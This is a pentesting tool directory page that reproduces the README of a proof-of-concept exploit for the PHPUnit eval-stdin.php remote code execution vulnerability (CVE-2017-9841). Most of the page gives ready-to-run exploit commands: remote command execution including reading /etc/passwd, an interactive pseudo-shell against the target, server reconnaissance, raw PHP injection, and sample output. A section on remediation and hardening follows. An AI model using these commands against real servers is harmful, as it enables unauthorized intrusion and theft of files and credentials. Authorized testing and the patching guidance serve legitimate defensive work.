Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 is a Remote Code Execution (RCE) vulnerability in the PHPUnit library affecting versions prior to 5.6.3 and 6.x prior to 6.4.2. | Kitploit
Tools/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 is a Remote Code Execution (RCE) vulnerability in the PHPUnit library affecting versions prior to 5.6.3 and 6.x prior to 6.4.2.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
2 months agoNot yet reviewed

CVE-2017-9841 — PHPUnit Remote Code Execution (RCE) PoC

⚠️ DISCLAIMER: This tool is intended solely for educational purposes and authorized security testing. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The author assumes no liability for any misuse of this tool.


Overview

CVE-2017-9841 is a Remote Code Execution (RCE) vulnerability in the PHPUnit library affecting versions prior to 5.6.3 and 6.x prior to 6.4.2.

The vulnerability exists in src/Util/PHP/eval-stdin.php, which executes PHP code received via php://input (POST body) using the eval() function. If this file is publicly accessible (e.g., within an unprotected vendor/ directory), an attacker can execute arbitrary PHP code on the server without authentication.

Vulnerability Details

Vulnerable Code

root@kitploit:~
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

This file accepts PHP code from the POST body and immediately executes it via eval() without any authentication or validation.


Installation

Requirements

  • Python 3.6+
  • requests library
root@kitploit:~
pip install requests

Setup

root@kitploit:~
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

Usage

Basic Syntax

root@kitploit:~
python3 poc_cve-2017-9841.py -u <URL> [options]

The -u flag accepts both a base URL (auto-appends the vulnerable path) or a full URL pointing directly to eval-stdin.php.

1. Vulnerability Check (No Command Execution)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --check

Output:

root@kitploit:~
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. Command Execution

root@kitploit:~
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. Server Information (Read-Only)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --info

Output:

root@kitploit:~
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. Interactive Pseudo-Shell

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

Output:

root@kitploit:~
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. Auto-Find Vulnerable Path

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. Custom Path

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. Full URL to eval-stdin.php

root@kitploit:~
python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. Execute Raw PHP Code

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

Options Reference


Remediation

Immediate Actions (Do This NOW)

1. Delete the Vulnerable File

root@kitploit:~
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. Block Access to the Vendor Directory

Add an .htaccess file inside the vendor/ directory:

root@kitploit:~
# /path/to/project/vendor/.htaccess
Deny from all

Or configure it in your Apache VirtualHost:

root@kitploit:~
<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

For Nginx:

root@kitploit:~
location /vendor/ {
    deny all;
    return 403;
}

3. Remove Dev Dependencies from Production

root@kitploit:~
cd /path/to/project
composer install --no-dev --optimize-autoloader

Short-Term Hardening

4. Enable disable_functions in php.ini

root@kitploit:~
; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. Enable open_basedir

root@kitploit:~
; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp

6. Reduce max_execution_time

root@kitploit:~
max_execution_time = 30

7. Restart PHP-FPM

root@kitploit:~
sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm

Long-Term Hardening

8. Upgrade PHPUnit

root@kitploit:~
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. Implement WAF Rules

ModSecurity example:

root@kitploit:~
SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. CI/CD Pipeline Hardening

root@kitploit:~
# Example: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

Attack Flow Diagram

root@kitploit:~
                    ┌──────────────────────────────┐
                    │          Attacker            │
                    └──────────────┬───────────────┘
                                   │ POST (PHP code)
                                   ▼
┌─────────────────────────────────────────────────────────────┐
│                        Apache Server                        │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  │  │
│  │                                                       │  │
│  │  eval('?>' . file_get_contents('php://input'));       │  │
│  │           ▲                                           │  │
│  └───────────┼───────────────────────────────────────────┘  │
│              │                                              │
│              ▼                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │            Arbitrary Code Execution                   │  │
│  │                                                       │  │
│  │  - Read/Write files on the server                     │  │
│  │  - Access database credentials                        │  │
│  │  - Lateral movement to internal network               │  │
│  │  - Install backdoors / webshells                      │  │
│  │  - Privilege escalation                               │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

Aggravating Factors

The following conditions significantly increase the severity and exploitability of this vulnerability:


References

  • NVD - CVE-2017-9841
  • PHPUnit GitHub Issue #2728
  • Exploit-DB #43340
  • MITRE CVE

License

This tool is provided for educational and authorized security testing purposes only.

Download Tool
FieldValue
CVE IDCVE-2017-9841
CVSS Score9.8 (Critical)
AffectedPHPUnit < 5.6.3, 6.x < 6.4.2
TypeRemote Code Execution (RCE)
AuthenticationNot required
VectorNetwork (remote)
PublishedJune 27, 2017
ReferenceNVD
FlagDescription
-u, --url URLTarget base URL or full URL to eval-stdin.php
-c, --cmd CMDCLI command to execute on the target server
--checkCheck if the target is vulnerable without executing commands
--shellOpen a pseudo-interactive shell
--infoGather server information (read-only)
--find-pathScan common paths to locate eval-stdin.php
--path PATHSpecify a custom path to eval-stdin.php
--timeout NRequest timeout in seconds (default: 30)
-o, --output FILESave command output to a file
--php CODEExecute raw PHP code instead of system commands
FactorImpact
disable_functions is emptyAll PHP functions are available (system, exec, etc.)
open_basedir is not setAttacker can read/write files across the entire filesystem
High max_execution_timeAttacker has more time per request for complex payloads
FFI extension loadedAllows direct C function calls, bypassing PHP restrictions
Database extensions loadedDirect database connections possible (mysqli, pgsql, etc.)
No WAF deployedNo request filtering or blocking
No IDS/IPS in placeNo anomaly detection or alerting
Dev dependencies in productionExpands the attack surface unnecessarily